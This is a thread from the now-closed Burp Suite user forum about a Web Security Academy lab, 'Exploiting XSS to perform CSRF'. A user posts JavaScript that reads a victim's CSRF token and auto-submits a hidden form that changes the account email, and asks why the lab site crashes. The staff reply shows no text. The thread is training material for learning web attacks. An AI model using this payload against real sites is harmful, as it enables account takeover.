Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Exploiting XSS to perform CSRF

P1N | Last updated: May 01, 2023 10:00PM UTC

when executing an exploit, the site crashes. Here is an expolite - const otherForm = document.querySelector("#otherForm"); location.href= 'https://0a8800c3039bf8838254881000be00b0.web-security-academy.net/my-account' const form = document.createElement("form"); form.id = "formh"; form.action = "https://0a6b00c203e7dbcb836d25fa00e70052.web-security-academy.net/my-account?id=wiener"; form.method = "POST"; const csrfInput = document.createElement("input"); csrfInput.type = "hidden"; csrfInput.name = "csrf"; csrfInput.value = document.getElementsByName('csrf')[0].value; // Добавить скрытое поле в форму form.appendChild(csrfInput); const emailInput = document.createElement("input"); emailInput.type = "hidden"; emailInput.name = "email"; emailInput.value = "asd123@asd"; form.appendChild(emailInput); document.body.appendChild(form); form.submit();

Dominyque, PortSwigger Agent | Last updated: May 03, 2023 08:48AM UTC